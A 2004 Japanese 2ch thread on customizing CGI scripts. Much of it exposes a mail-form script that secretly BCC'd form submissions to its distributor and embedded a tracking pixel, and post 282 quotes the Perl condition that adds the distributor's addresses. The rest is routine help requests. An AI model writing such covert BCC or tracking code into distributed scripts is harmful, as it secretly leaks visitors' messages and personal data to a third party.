一応参考までに。
「痛いニュース速報+」
URLリンク(news16.2ch.net)

240:nobodyさん
04/06/11 23:57
【盗聴】web-up.cside.biz【個人情報詐取】
スレリンク(net板)l50


たてたよー

241:nobodyさん
04/06/11 23:59 zWex4Tqd
226nobodyさんsage04/06/11 22:31 ID:???>>224
今保存ちう~

> 個人情報の取り扱いについて
> ◆お客様の個人情報の取り扱いについて
> 弊社が収集した個人情報は、不適切な対応が行われないよう厳重に管理いたします。
> ◆お客様の個人情報の第三者への提供について
> お客様から提供を受けた個人情報は、お客様のご了承なしで第三者へ提供することはありません。
> 同様に、お客様のご了承なしで弊社の都合で勝手にDMを送付するといったこともありません。
> ◆スクリプトを不正に利用した方の個人情報の取り扱いについて
> 当サイト配布スクリプトを不正に利用していることが判明した方の個人情報に関しては、例外的に、ご本人様の承諾を得ることなく当サイトにて公開することがありますのでご了承下さい。

商用サイト向けに作られてるから
さぞ個人情報が集まった事だろうね。
227nobodyさんage04/06/11 22:34 ID:???法律に反してまで不正に個人情報収集キタ━━(゚∀゚)━━ッ!!

242:未承諾広告※ ◆TWARamEjuA
04/06/12 00:00
実は痛+のキャップ持ってたりして(w

243:nobodyさん
04/06/12 00:02
>>240



244:未承諾広告※ ◆TWARamEjuA
04/06/12 00:09
Done.
【盗聴】web-up.cside.biz【個人情報詐取】
スレリンク(dqnplus板)l50

245:nobodyさん
04/06/12 00:25
>>244
面白じゃなくて、ヌー速に立ててよ

246:未承諾広告※ ◆TWARamEjuA
04/06/12 00:26
>>245
ν速は怖いので却下(w

247:nobodyさん
04/06/12 00:28
>>246
一番人がいるじゃん

248:未承諾広告※ ◆TWARamEjuA
04/06/12 00:31
>>247
だから怖かったりして(w
ってことで、mesh.ad.jp の人よろですー(w
(実は対策中@スレ立て規制ルーチン)

249:nobodyさん
04/06/12 00:39
Web-UPへようこそ!
突然ですが、おめでとうございます!

あなたはオレオレ詐欺を成功させる為の絶好の機会に恵まれました!この機会に、ぜひあなたの常識が正しいかどうかを確かめてみて下さい。

さっそくですが、あなたの会社ではコンピュータやプログラムが出来る仕事を人間がやっているということはありませんか?それは本当に実在の人間でないと出来ない仕事ですか?

零細企業ほど業務のIT化・自動化を進めて、貴重な人的資源を有効に活用する必要があります。オレオレ詐欺運営業務のほとんどは、コンピュータに自動でやらせることが出来るのですから!

250:nobodyさん
04/06/12 01:34 XcpBcCfn
【盗聴】web-up.cside.biz【個人情報詐取】
スレリンク(news板)

251:nobodyさん
04/06/12 01:38 S59QSIAd
キタ━━━(゚∀゚)━━━ !!

252:nobodyさん
04/06/12 01:38 F7bl5wsk
キタ━━(゚∀゚)━━ッ!!

253:nobodyさん
04/06/12 01:39
(`・ω・´)シャキーン

254:nobodyさん
04/06/12 01:41
記念ぱぴぽ

255:nobodyさん
04/06/12 01:50
【盗聴】web-up.cside.biz【個人情報詐取】
ν速 スレリンク(news板)
ヲチ スレリンク(net板)
痛+ スレリンク(dqnplus板)

256:nobodyさん
04/06/12 01:51
ニュー速から来ました
c⌒っ*゚д゚)っφ 記念カキコ

257:nobodyさん
04/06/12 02:02
おめでとう。勝利は目前だ。

祈念カキコ。

258:うんこぶりぶりまん
04/06/12 02:03 2GlvRme6
祭りだ下記子

259:nobodyさん
04/06/12 02:11 09i6j9GU
∩( ・ω・)∩祭りばんじゃーい

260:nobodyさん
04/06/12 02:14
【盗聴】web-up.cside.biz【個人情報詐取】
スレリンク(sec板)

261:nobodyさん
04/06/12 02:16
  | ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄|
  |     祭り?    |
  |________|
   ∧ ∧|| ω
  (* ̄∀ ̄)(・|>
  _|U_|//
  \___ノ
...⊂ ̄U U ̄⊃
⊂__ジョー__⊃

262:nobodyさん
04/06/12 02:18
>>261
まつりだ

263:nobodyさん
04/06/12 02:23
ドンドド゙ッド、ドッドドッド、ドンドド゙ッド、ドッドドッド、
  モリアガッテマイリマシター!!!!
    ∧ ∧   ,,─,-、  ♪
    (,,゚Д゚) / (:  :(  ) ))
     |つ/つ  `ー─``ー'
   ~|  |   ┣━┫┨
    U U   ┠┤  ┣┫

264:nobodyさん
04/06/12 02:26 wopb/Mb3
>なんとスクリプト本文の中に、
>読者様から送ってもらうフォーム内容を、
>スクリプト配布元のメールアドレスにもBCCで送信する構文が入ってて( ゚д゚)ポカーソ
>しかもそれだけじゃなく、フォームのHTML内には
>スクリプト配布元のリンク監視用(?)
>アクセス解析GIF透明画像(もちろん相手のサイトを直接呼び出し)が埋め込まれた。

>つまり、読者様の与り知らないところで自サイトフォームへのアクセスがCGIの配布元に記録され、
>しかも大きな声ではとてもとても言えないような密やかな萌えをCGIの配布元にまで
>コソーリ送信するような仕組みになっていたというわけだ。
>(((( ;゚Д゚))ガクガクブルブル

これでもわからない奴はry

265:nobodyさん
04/06/12 02:28 ePpV/3zG
ν速から来たよ、
Website Explorerで落としてるんだけど重いなここのサイト。

266:nobodyさん
04/06/12 02:29
とりあえず最新確認に関連スレ一覧置いていきますね
URLリンク(www.ruitomo.com)

あと立つならWeb制作とネットサービスあたりなのかな。

267:nobodyさん
04/06/12 02:32
該当部分のソースキボン
頭沸いてるんかコイツ

268:nobodyさん
04/06/12 02:36
金に目がくらんでトチ狂って書いたってとこ?

269:nobodyさん
04/06/12 02:37
>>266
分かりやすくてイイ!

270:nobodyさん
04/06/12 02:37
>265
それはshtmlも落とせるのかな?
なんかshtmlだらけで満足に落とせないとどこかのスレで見たよ

271:nobodyさん
04/06/12 02:38
一応これ置いときますね。

68 :名無しさん@ゴーゴーゴーゴー! :04/06/12 02:09 ID:/o6BW1Gu
Num-Mailしか見てないけど、メールが抜かれるのって
著作権表示を消した時と、一番最初にメール送信した時だけだよな?
$temp何とかってファイルを空にすればまた抜かれるけど
メールを送信するたびに抜かれるわけじゃないよな?

272:nobodyさん
04/06/12 02:39
200人訪問中ということは、それだけ2ちゃんねらーがいるということですね

273:nobodyさん
04/06/12 02:42
GETHTMLで落とした

274:nobodyさん
04/06/12 02:42
>>271
つまりどのサイトでスクリプト使われてるか把握するためのものなのね
って全然言い訳にもならん。逮捕だ逮捕

275:nobodyさん
04/06/12 02:44
>>274
それだけならいいが

スクリプト使って送信したメールがサクーシャにも送信

276:nobodyさん
04/06/12 02:45
>>270
あ、それ自分だ。
うまく落とせてないから、他の人に頑張って貰いたいんだが…
落とすとき30分も解析にかかった。

277:274
04/06/12 02:52
>>275
いや、だから一回目に送るメールってのは大概運営者だから
そのアドレスだけを抜き出そうという魂胆でそ>>271読む限りでは

おれも今からソースみてみるけど

278:nobodyさん
04/06/12 02:53
ソース公開してるんだから、責任はそんなものas isで使うことを
承諾して使ってるユーザーにあるんだろ

279:nobodyさん
04/06/12 02:57
■免責事項
8. 本スクリプトの不正利用防止・設置状況把握を目的として、本スクリプトから設置先サーバーの情報を収集することがありますが、利用者はこれに同意したものとします。



補足
ついでに個人情報も収集します

280:nobodyさん
04/06/12 02:57
光臨?


と煽っておく

281:nobodyさん
04/06/12 02:59
> ■免責事項
> 8. 本スクリプトの不正利用防止・設置状況把握を目的として、
> 本スクリプトから設置先サーバーの情報を収集することがありますが、
> 利用者はこれに同意したものとします。

これはBCCで情報収集の言い訳として成り立つのか?というところだな。

282:nobodyさん
04/06/12 03:00
該当部分
(1)
if($footer !~ /Web-UP/ or $ver !~ /Num-Mail v1.04/)
 { $bcc = 'bad@web-up.cside.biz'; $bad = 1; }

(2)
if(!open(TEMP,"$temp_file")){ &error('一時ファイルが開けませんでした'); }
$TEMP = <TEMP>;
close(TEMP);
if($TEMP eq ''){
 my $H = $ENV{'HTTP_HOST'};
 my $S = $ENV{'SCRIPT_NAME'};
 $PAGE = <<EOF;
 <script type="text/javascript" language="JavaScript">
 <!--
   (略。IMG使ってアク解仕込んでる)
 // -->
 </script>
 <noscript>
 <img src="URLリンク(web-up.cside.biz)" width=1 height=1 border=0>
 </noscript>
EOF
 $bcc = 'start@web-up.cside.biz;'.$bcc;
}

#(2)は「送信ボタン2度押し検出」だそうだ
#「一時ファイル」に最後に送信したUAやホストを記録してる


283:nobodyさん
04/06/12 03:03
ご丁寧に綺麗なソースでこんなことするとは
頭マジいかれてるな

284:nobodyさん
04/06/12 03:07
>>281
法律違反行為ならそんなもん無効だわな。

285:nobodyさん
04/06/12 03:13
弊社のご案内
URLリンク(atpc.cside9.com)

286:nobodyさん
04/06/12 03:16
>>285
WEBクリエイター3級
とかあるんだ。初耳。

287:nobodyさん
04/06/12 03:22
せめてスクリプトタグの内容暗号化して盗聴用鯖も一見無関係のところにしておきゃよかったのに。
どっちにしても、すぐばれるだろうが。

288:nobodyさん
04/06/12 03:27
document.write("<img src='URLリンク(web-up.cside.biz)");
document.write("pg="+pg+a+"pf="+pf+"lng="+lng+"swh="+swh+"cd="+cd+"pd="+pd+"rf="+rf);
document.write("' width=1 height=1 border=0>");


何やってんだ?

289:nobodyさん
04/06/12 03:30
>>282
N速では(2)の処理は最初の一回だけって話になってるけどどうなの?

>>288
アクセス解析という噂



290:nobodyさん
04/06/12 03:32
びっくりしますた

291:nobodyさん
04/06/12 03:32
おい、もう材料ねえのか?
ヌー速もやる気なくなってるぞ

292:nobodyさん
04/06/12 03:33
夜中だからな。明日またやろうぜ

293:nobodyさん
04/06/12 03:33
>>291
やる気も何もさすがに時間が時間だし。
まだ明日以降あるでしょ。

294:nobodyさん
04/06/12 03:34
明日またスレ立てれば桶

295:nobodyさん
04/06/12 03:35
>>289
最初の1回目だけ。
$temp_fileを捨てると、また1度だけ送られる

296:nobodyさん
04/06/12 03:38
最初の一回だけだから出歯亀送信してもいいとはいえないんだよな?
しかも今回は
“最初の一回だけ送信”דcgi設置した件数”
だよな

297:nobodyさん
04/06/12 03:38
>>295
眠くてスクリプト見てないけど
そのtempは何?

298:nobodyさん
04/06/12 03:39
>>295
㌧くす

299:nobodyさん
04/06/12 03:44
>}else{
> &error('<b>スクリプト利用規約違反行為を検出しました</b><br><a href="mailto:info@web-up.cside.biz">こちら</a>からご連絡下さい');
>}

( ´,_ゝ`)プッ


300:nobodyさん
04/06/12 03:46
このcgiを利用したサイトが不正利用すると、関係ない第三者の個人情報も
web-upに送られるという極悪仕様らしいね

301:nobodyさん
04/06/12 03:49
>>300
不正使用しなくても、一回目に情報が送られる。

302:nobodyさん
04/06/12 03:52
>>301
一通目は普通管理人だから問題ないけど、(いや、あるけど)
二通目以降の本番使用での訪問者による送信でも、
サイト管理者が不正使用なら訪問者のメールも読まれてしまう
という意味でしょうが

303:295
04/06/12 03:55
>>297
最後に送ったメールの送信者やら送信時刻やらを保存してるファイル。

送信ボタン2度押しによる2重送信を防ぐために、
1.$temp_fileに記録した時刻から5秒以内に
2.送信者アドレスとUAとホストが同じメールを送ろうとした
場合には、2通目を送らないようにする。
このファイルが空白の場合に、BCCに余計なアドレスが追加される。


304:nobodyさん
04/06/12 03:56
この程度のスクリプト、どこに有料にするほどの機能があろうか

305:nobodyさん
04/06/12 03:57
入力必須項目をいくつでも設定できます。
入力内容が同一でないとエラーとする項目をいくつでも設定できます。
半角数字のみ入力許可とする項目、半角英数字のみ入力許可とする項目をいくつでも設定できます。
7桁郵便番号(ハイフン付き)の書式チェックをする項目をいくつでも設定できます。
カタカナと空白のみを入力許可とする項目をいくつでも設定できます。
加入電話番号(ハイフン付き)の書式チェックをする項目をいくつでも設定できます。
携帯電話番号(ハイフン付き)の書式チェックをする項目をいくつでも設定できます。
その他の電話番号(ハイフン付き)の書式チェックをする項目をいくつでも設定できます。
日付の書式チェックをする項目をいくつでも設定できます。
日付の書式チェックをする項目に存在しない日付が入力された場合エラーとなります(うるう年にも対応)。
入力禁止とする項目をいくつでも設定できますので、フリーメールアドレスからの送信などを事前に防止できます。
メールアドレス・ホームページアドレスを正規表現を使って厳密に書式チェックします。これにより、せっかくメールを送ってくれた送信者の方が運悪くメールアドレスを間違って記入してしまい連絡が取れなくなるというトラブルを大幅に減らすことができます。


( ´,_ゝ`)プッ

要するに
・入力情報チェック機能

だろが

306:nobodyさん
04/06/12 04:25
patch.cgi

#!/usr/bin/perl

open(HI,"<hi-mail.cgi");
@data=<HI>;
close(HI);

foreach (@data){ s/web-up.cside.biz/unko/; }

open(HI,">hi-mail.cgi");
print HI @data;
close(HI);



ここにpatch.cgi置いときますね

307:nobodyさん
04/06/12 04:26
◆スクリプトを不正に利用した方の個人情報の取り扱いについて

当サイト配布スクリプトを不正に利用していることが判明した方の個人情報に関しては、例外的に、ご本人様の承諾を得ることなく当サイトにて公開することがありますのでご了承下さい。


308:nobodyさん
04/06/12 04:34
フォームを設置して最初にテストするときは自分の個人情報入れちゃうことが多いからな
それを押さえておけば、例外的に公開することも可能だわな

309:nobodyさん
04/06/12 04:38
いずれにせよ、不正利用とメール盗聴じゃ過失相殺してもメール盗聴のほうが罪が重いぜよ。

310:nobodyさん
04/06/12 04:41
417番組の途中ですが名無しです04/06/12 04:39 ID:yZwKH/l8URLリンク(headlinetoday.co.jp)
ここのサイト、tagput_pro.cgiで更新してるみたいなんだが

URLリンク(66.102.7.104)
ググルのキャッシュでみるとtagput_pro.cgiがエラーを吐いてるみたい。
このキャッシュのソースを覗くと

<a href="mailto:bad@<B style="color:black;background-color:#ffff66">web-up.cside.biz</B>">bad@<B style="color:black;background-color:#ffff66">web-up.cside.biz</B></a>

という妙なメルアドが出るんだけど(いろいろ化けてるが)、これって…

詳しい人、解析ヨロ

マルチスマソ

311:nobodyさん
04/06/12 04:43
いずれにせよ、>>219-310はすれ違いだが…

312:nobodyさん
04/06/12 04:48
必死だな(藁

313:nobodyさん
04/06/12 05:33 /fieIMmV
謝罪キタ─wwヘ√レvv~(゚∀゚)─wwヘ√レvv~─ !!!

314:nobodyさん
04/06/12 06:18
謝罪?今迄集めた情報は如何なされたのかのう・・・

315:nobodyさん
04/06/12 06:32
謝罪っつーかただの予防線だろ

316:nobodyさん
04/06/12 07:15
2ちゃんねるへようこそ!
突然ですが、おめでとうございます!


317:nobodyさん
04/06/12 07:18
あんたそんなこといきなりいわれてもうわこらなにおする

318:nobodyさん
04/06/12 08:01 52DXtjEo
この作者完全に2チャンネル見てるな

319:nobodyさん
04/06/12 08:41
神田代砲とレーザービーム田代撃ち込んでくるか

320:nobodyさん
04/06/12 10:01 8dH8rMjw
ν速から記念かき

321:nobodyさん
04/06/12 10:23
ageんなヴォケが

322:nobodyさん
04/06/12 10:55
ageなきゃ現実に

323:nobodyさん
04/06/12 10:56
ヴォケんなhageが

324:nobodyさん
04/06/12 12:37
証拠を取っておいたやつは消さずに残しといてくれよ。

325:nobodyさん
04/06/12 15:04
KENTも酷いことをするね。
URLリンク(www.kent-web.com)

326:owl ◆OwldoPiCSY
04/06/12 15:28 DNW7e13+

      ((゚v゚ ) )<N速カラキマスタ!
       ((::...(::ヽ
     _ ゝゞ^ヽ
    ( = ´´   ̄(◎)
       ̄ ̄| l| ̄ ̄
          .|. il|
""""""""""""""""""""""""""""""""

327:nobodyさん
04/06/12 16:56
>>325
ハァ?

328:nobodyさん
04/06/12 22:32
こういうことをするから著作権表示からリンクをはずしたくなるんだ。

329:nobodyさん
04/06/13 00:11 JEhoRN3u
おめでとうございます!おめでとうございます!おめでとうございます!

330:201
04/06/13 09:14
>>202
ご教示有難う御座います。
教えていただいたとおりにやったらID機能を付けることができました。
編集時などに元の名前を表示させたりするのがちょっと大変でしたが…
ありがとうございました。

331:nobodyさん
04/06/14 20:40 cBqzTbji
URLリンク(web-up.cside.biz)
なんか不正じゃなくて堂々と取得するって書いてある場合は良いでないか?

332:nobodyさん
04/06/14 20:45
>>331
もう祭りは終わったよ

333:スレ違いすマソ
04/06/14 20:48
犯罪告知があれば犯罪が犯罪でなくなるとでも?

334:nobodyさん
04/06/14 20:59
>>331
タクボ、言い訳すんな

335:nobodyさん
04/06/14 21:44
多苦墓は言い訳厨でした。
スクリプトを使わないでそっと潰れるのを待ちましょう。

336:nobodyさん
04/06/15 10:13 KpErTJMW
スレ違いだったらごめんなさい

アップロード機能+一言板を使って、別の場所にいる人間とファイルをブラウザ上で確認し、
JPEG,GIF,EPS(イラレ)の画像データのやりとりを考えています。
KET-WEBのClipBoardを改造して頑張ってはいるのですが…
EPSファイルをアップしてブラウザ上に表示させる事が出来ません。
自力でEPSファイルを添付ファイルとしてアップさせる事は出来ましたが…

どなたかお知恵をお願いしますm(__)m

337:336
04/06/15 11:12 KpErTJMW
データ置き忘れスマソ

改造前
URLリンク(www.geocities.jp)
改造後
URLリンク(www.geocities.jp)

ジオでごめんなさい。
動作確認はローカル鯖で、本動作は自社鯖(unix)でやります。


338:nobodyさん
04/06/15 18:28 dQxW4G/W
URLリンク(mah.pobox.ne.jp)
>Excel形式 (.xls),TSV形式 (.tsv),CSV形式 (.csv) のデータファイルを
>HTMLに変換して動的にウェブ公開するCGIプログラムです。

どなたか、ブラウザからデータ編集も行えるように改造できませんか?

339:nobodyさん
04/06/15 18:34
スレタイくらい読もうね
バイバイ

340:nobodyさん
04/06/15 18:41
■ 自分で改造できない場合には
【 スクリプト改造依頼スレ 】(丸投げ)
スレリンク(php板:324番)(テンプレ)

■ 自分で改造するアドバイスが欲しい場合には
★三 【 スクリプト改造工房 PART 8 】 ★三
スレリンク(php板:79番)(テンプレ)

341:337
04/06/16 10:27 T1Uh59ql
申し訳ない。
テンプレに添ってもう一度書きます。
【.CGI名.】ClipBoard v1.9
【配布先URL】URLリンク(www.kent-web.com)
【ヘルプ内容】EPSファイルもアップロード出来、且つブラウザで見えるようにしたい。
       アップロードは出来たが、EPSファイルが上手く表示されない。
       どの辺の記述が良くないのでしょう?
       JPEGやGIFファイルのように一定サイズ以上は縮小表示され、
       クリックすると大きく別窓表示と言うのが理想なのですが…
       表示だけがどうしてもされないのです。
自力で改造したファイル→URLリンク(www.geocities.jp)

お知恵をお願いいたしますm(__)m

342:nobodyさん
04/06/16 11:41 BaSzqMZ7
>>341
EPSをJPGに変換してからアップすればいい。

343:341
04/06/16 12:11 T1Uh59ql
>>342
レスありがとうございます。
EPSファイル自体のやりとりをしたいので、JPG変換してからのアップではダメなんです…
別の場所にいる人間にブラウザ上で確認してもらい、ダウンロードをしてもらう、という形をとりたいので。
表示だけが上手く行かないんですよね…

344:nobodyさん
04/06/16 12:20
>>343
EPSのままやり取りするならブラウザでの表示は無理。


345:343
04/06/16 14:58 T1Uh59ql
>>344
レスありがとうですm(__)m
やはり無理ですか…
別スレでブラウザの問題と言われ、色々検索してはみたのですが…
では、EPSをアップするとJPGに変換させた状態でブラウザに表示させ、
ダウンロード時はEPSと言う事は出来るのでしょうか?
むりかな?やはり(^^;

346:nobodyさん
04/06/16 16:24 BaSzqMZ7
>>345
EPS内にプレビュー用のTIFFデータがあれば表示させることは不可能ではないと思う。
あとImageMagic使うとか。
俺はめんどくさいのでやらないけど。

347:nobodyさん
04/06/16 16:25
>>345
できないことはないが、epsデータに日本語の文字が含まれている場合には
きびしいんじゃないかな。

348:nobodyさん
04/06/16 16:26
>>345
自社鯖があるんならそっちでやった方がよろしいかと。要ImageMagik + GhostScript

349:345
04/06/16 18:49 T1Uh59ql
皆様ありがとうございますm(__)m
>>346 >>348
ImageMagickですか。自社鯖には多分入ってないので、入れなきゃですね。
入れられるんだろうか…てか入れていいんだろうか;-_-)
入れていいよーとかは言われそうですが、
ぶっちゃけ、ImageMagick使った書き方分からんかも…
別スクリプト拾って来て改造した方が早いカモですな…

>>347
>epsデータに日本語の文字が含まれている場合にはきびしいんじゃないかな
そうなんですか?
全然知らなかったです;-_-)

350:nobodyさん
04/06/20 12:20 jxC3gCGk
質問させて下さい。
URLリンク(acapulco.dyndns.org)
で配布されている、C-SEARCHというスクリプトについてなのですが、
UTF-8で記述したページに設置したフォームから、文字化けしないように
URIを出力するにはどうすれば良いでしょうか?

Jcode.pmを使って、各サーチエンジン向けに文字コードを変換すれば
良いのではないか─というところまでは分かった(気がしている)のですが、
どこにその処理を挟めば良いか分からずにつまづいています。

どなたか、何卒よろしくお願いします。

351:nobodyさん
04/06/20 13:04
考えただけで試すつもりがないのなら、丸投げへ。

352:nobodyさん
04/06/20 14:55 jcnTgKd4
質問です。
yychatを設置しているのですが、
すごい長い名前で荒らされます。
名前の文字数を制限することはできないのでしょうか?
なにか方法があればご伝授下さい。
どうかお願い致します。

353:nobodyさん
04/06/20 16:25
>>350
>>340

>>352
>>340

354:nobodyさん
04/06/20 17:55
>>352
URLリンク(www.google.com)

>>353
質問の意味さえわかればテンプレ不要論者な私。
失礼しますた。

355:nobodyさん
04/06/20 19:55 T6DkXt0i
>>353
すみません、ちゃんとスレの趣旨を確認していませんでした・・・。

356:nobodyさん
04/06/27 02:04
よろしくお願いします。

【.CGI名.】Nicky!
【配布先URL】 URLリンク(www.din.or.jp)
【ヘルプ内容】
記事を入力後作成されるHTMLファイルの形式を変えたいと思います。

①タイトルのところが「記事入力の年月日・時間→タイトル」となっている
 のですが、これを逆「タイトル→年月日・時間」に変えたいと思います。
 何行目だったか、出力が記述されているっぽいところを逆にしたところ
 CGI自体が動かなくなってしまいました。

②記事本体の少し下にRESをつけるための枠が入るのですが、この枠を
 もう少し記事本体に近づけたいと思いますが、どこをいじればいいのか
 見つけられませんでした。

ということで2点、教えていただけないでしょうか?

357:nobodyさん
04/06/27 06:15
>>356
機種依存文字を使うな。

その1 ユーザーカスタマイズモードを参照のこと
URLリンク(www.din.or.jp)

その2 ユーザーカスタマイズモードで記入する、最後の</td></tr></table>を削除。
んで、nicky.cgiの
print "<table border=\"0\" width=$NickyWidth bgcolor=\"$CommentFlColor\">\n";

print "<tr><td>";

を削除かコメントアウト

あと利用規定で
> 5. スクリプトを修正される方へ
> 修正したスクリプトをご利用する際には、修正した旨をわかりやすく表示してください。
とあるから、表示しる。

358:356
04/06/27 19:27
>>357

1:やはりユーザーカスタマイズモードしかないですかねぇ。
なぜかうちでは説明書どおりにやってもカスタマイズモードに
入れなかったのでCGIの改造で何とかならないか・・・と
思っていました。

2:これもカスタマイズモードに入れるようになったらやってみます。

どうもでした。

359:nobodyさん
04/06/30 10:22
いまだに①を機種依存文字とか言ってる香具師痛すぎ

360:nobodyさん
04/06/30 19:37
知恵を貸していただけると幸いです。
【.CGI名.】unico diary system
【配布先URL】URLリンク(www.azworks.org)
【ヘルプ内容】日記投稿時に画像ファイルをアップしたいと思っております。
とりあえず、書き込み・修正をするFORM内にtype="file"のインプットタグを追加し、
<FORM>タグにもENCTYPE="multipart/form-data"を追記してみました。

が、enctypeを追記したら書き込みすら行われなくなってしまいました。
私が思うにフォームからのデータがまともに受け取られなくなってしまった
からだとおもっているのですが、どうしたらいいのでしょうか。
また、ファイルをアップロードする部分にはまったく手をつけていないのですが、
方法などご教授いただければ幸いです。



361:nobodyさん
04/06/30 19:58
>>360
オマイが改造したソースをUP汁

362:nobodyさん
04/06/30 20:01
>>360
手を加えたのは「HTMLソースだけ」に50ペセタ。

363:nobodyさん
04/06/30 21:02
KヨNTに毛が生えたようなソースは読みにくい。
unico なんて名乗ってて恥ずかしくないのか?

364:360
04/07/01 10:53
レス遅くなって申し訳ないです。
こちらに改造したソースを貼ってあります。
URLリンク(www.geocities.jp)

よろしくおねがいします。

365:nobodyさん
04/07/01 17:48
>>360
multipart/form-dataがどういう形式でデータを送ってるのか調べろ。
parseの方法がまったく違うからそのままでエラーが出るのは当たり前。
KENTもmultipart/form-dataのparseにはcgi-lib.plを使ってる。

366:360
04/07/01 18:31
>>365
レスありがとうございます。
もうちょっと詳しく調べてみます。



367:360
04/07/02 18:13
>>365
なんとかmultipart/form-dataのparseに成功しました。
あとはファイルアップ部分ができれば完成しそうです。

以上、報告。
URLリンク(www.geocities.jp)



368:nobodyさん
04/07/02 20:50
>>360
なぜテキストファイルでUPしないの?
ただでさえ見難いスクリプトが、インデントが無いせいでさらに見難くなってる。

369:nobodyさん
04/07/11 01:17
【.CGI名.】ChaBo
【配布先URL】URLリンク(www.kemokemo.com)
【ヘルプ内容】
 この一行掲示板は、
 07/10 10:00 名前 : 本文
 この様に、投稿した時刻が自動的に挿入されるのですが、
 名前と本文は、自動挿入される時刻よりフォントサイズが1つ大きいのです。

 そこで、名前と本文のフォントサイズを、時刻と同じ大きさにしたいのですが、
 何処にどういうスクリプトを書けば良いのか全く分からず困っています。。
 

 どうか宜しくお願いします。

370:nobodyさん
04/07/11 01:25
>>369
よく見れ。
cssファイルをいじるだけだろ。

371:nobodyさん
04/07/11 01:36
>>370
あり?css?俺が見てるスクリプトだと、

602: $mesbuff .= "<SMALL>($timestamp)</SMALL> <B>[$name]</B> ";
# 名前と本文がデカいんじゃなくて、時刻が小さい。

なんだけど…。間違えて別のを落としてないか確認してくる(泣)。

372:nobodyさん
04/07/11 01:55
# 合ってた。鬱。

>>369
602行め辺りをぐりぐりする。

373:369
04/07/11 02:05
レス有難う御座います。
おかげ様で、名前と本文を時刻と同じサイズに出来たのですが、
実際に小さくしてみると、想像していた物とは少し・・(´Д`)

デフォルトサイズより小さく、<SMALL>指定より大きい、そんなサイズにしたいのですが、
SMALL以外にサイズ指定の関数にはどんな物が有りますか?

すみませんが、宜しくお願い致しますm(_ _)m

374:nobodyさん
04/07/11 02:14
>>373
なんでぇ、バージョン違いかよ。

【.  CGI名  .】 複数のバージョンがある場合には正確に        (必須)
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
【配布先URL】 教えてくれる人が参照する場合があるので       (必須)
【. 置き場所 .】 配布先が閉鎖の場合、すぐ見られるようtxtなどで
          upした場合、 デザインをhtmlで作成した場合など  (任意)
【ヘルプ内容】 どのように改造したくてどのようにうまくできないか  (必須)
          機能・動作などを簡潔かつ詳細に


関数?
おまいはHTMLもわからんのか?
板違いだからWeb制作板で勉強してから出直せ。

375:nobodyさん
04/07/12 13:11
URLリンク(www.booboo.ne.jp)
のBooRandomLink ver1.05なのですが、DocomoのFOMAでCGIにアクセスすると「502 現在ご利用できません」とエラーが出ます。

docomoのページを見た所
URLリンク(www.nttdocomo.co.jp)
CGI作成時に「Content-Type」、「Content-Length」は必須項目となります。
SSLでKeep-Aliveを有効にするためにも「Content-Length」は必須となります。
LOCATION時のURLの指定は絶対パスで記述します。
携帯・自動車電話用iモード端末はHTTP1.0でアクセスします。
FOMAiモード端末はHTTP1.1でアクセスします。
と書いてありましたが、どこかに付け足せばいいのでしょうか。

サーバーはwindowsNT IISです。

376:nobodyさん
04/07/12 17:19
>>375
502 Bad Gateway

鯖がケッタイを弾いているだけなのではないかい?

377:nobodyさん
04/07/14 22:58
URLリンク(stnight.pekori.to)
このスケジューラーの"場所"と表示されるところを"名前"に変更したくて、
cgiにある"場所"という文字を"名前"に変換してみました。
すると"名前"に変わったんですが、書き込み画面だと"場所"のままなんです。
どうしてでしょうか?

378:nobodyさん
04/07/15 02:26
>>377
line:603
 print " <td align=center nowrap><b>場 所</b></td>\n";


379:nobodyさん
04/07/15 14:53
>>378
サンクス
スペースがあったから検索に引っかからなかった…
っていうかちゃんとスクリプト読むべきだと反省しました

380:nobodyさん
04/07/16 22:58
URLリンク(www.japu.org)
ですが、これはaskaBBSにキャップ機能(上のは「名前★」ではなく「"名前"」というキャップ)
を付けたものですが、今の状態だと登録された名前とメール欄のパスをそれぞれ入力しないと
キャップが出ないのですが、それを2ちゃんねると同じようにメール欄の
パスのみで「名前★」が出るように改造していただけないでしょうか。
よろしくお願いします。

381:nobodyさん
04/07/17 03:19
どうにも行き詰まってしまったので、宜しければご教授お願いします。

【スクリプト名】
 Miniりすと
 (配布元サンプル URLリンク(minicgi.net)
 (配布元解説ページ URLリンク(minicgi.net)
【CGIソース】
 URLリンク(maxfigs.hp.infoseek.co.jp)
 URLリンク(maxfigs.hp.infoseek.co.jp)
【改造したい内容】
 コメントの項目をふたつ作りたい
 >現状のリスト  URLリンク(maxfigs.hp.infoseek.co.jp)
 >>リストの変更後イメージ  URLリンク(maxfigs.hp.infoseek.co.jp)
 >現状の入力フォーム  URLリンク(maxfigs.hp.infoseek.co.jp)
 >>入力フォームの変更後イメージ  URLリンク(maxfigs.hp.infoseek.co.jp)
【その他】
 個人的なデータベースを作成している際に、コメント欄がひとつでは足りなくなってしまいました。
 CGIはlist.cgiとtool.cgiから出来ており、デフォルトのtool.cgiの270~275行あたりの記述を参考に、
 コメント入力欄や出力を2つ作ってみたのですが、項目どころか入力欄すらも作れませんでした。
 見様見真似のコピーペーストでは無理なのだろうと思うのですが、試しても反映されないのです。
 各cgiファイルのどの行を修正して行けば良いのか、どなたかアドバイス頂けませんでしょうか。

 どうぞ宜しくお願いします。


382:nobodyさん
04/07/19 18:32
○投げに投げたら?

383:nobodyさん
04/07/29 20:18
以前改造していただいたcgiに不具合が見つかったのですが、それを修正してもらうことは可能でしょうか?

384:nobodyさん
04/07/29 20:39
>>383
このスレの性質をよく理解されているのならどうぞ。

385:nobodyさん
04/08/02 02:17 j14ATa2k
(1)配布元 CGIぽん URLリンク(specters.net) ダウンロード項目内 yoyuuha.cgi
(2) 余裕派掲示板でINPUT要項をもういくつか増やし なおかつUSERAGENT BROWSER 情報をlogファイルに追記。
   閲覧画面で上記追加情報も見られるようにしたいです。

    現在の状態 URLリンク(cgi.f48.aaacafe.ne.jp) 
    変更後のイメージ URLリンク(cgi.f48.aaacafe.ne.jp)

デザイン系の変更は自分でいたしますので(2)に書いてあることに関しましてアドバイスがいただけたらと思います。
formないのINPUT項目を増やす、USERAGENT BROWSER情報を取得しlogファイルに追記。
上記追記情報を閲覧画面に出力、phpではある程度自分がやりたいことが出来るレベルにはなりつつあるのですが

perlはなにぶん初心者なもので何かアドバイスをいただけたらと思います。formでの新たな項目の追加、
それによって取得できる変数のlogファイルへの書き込み
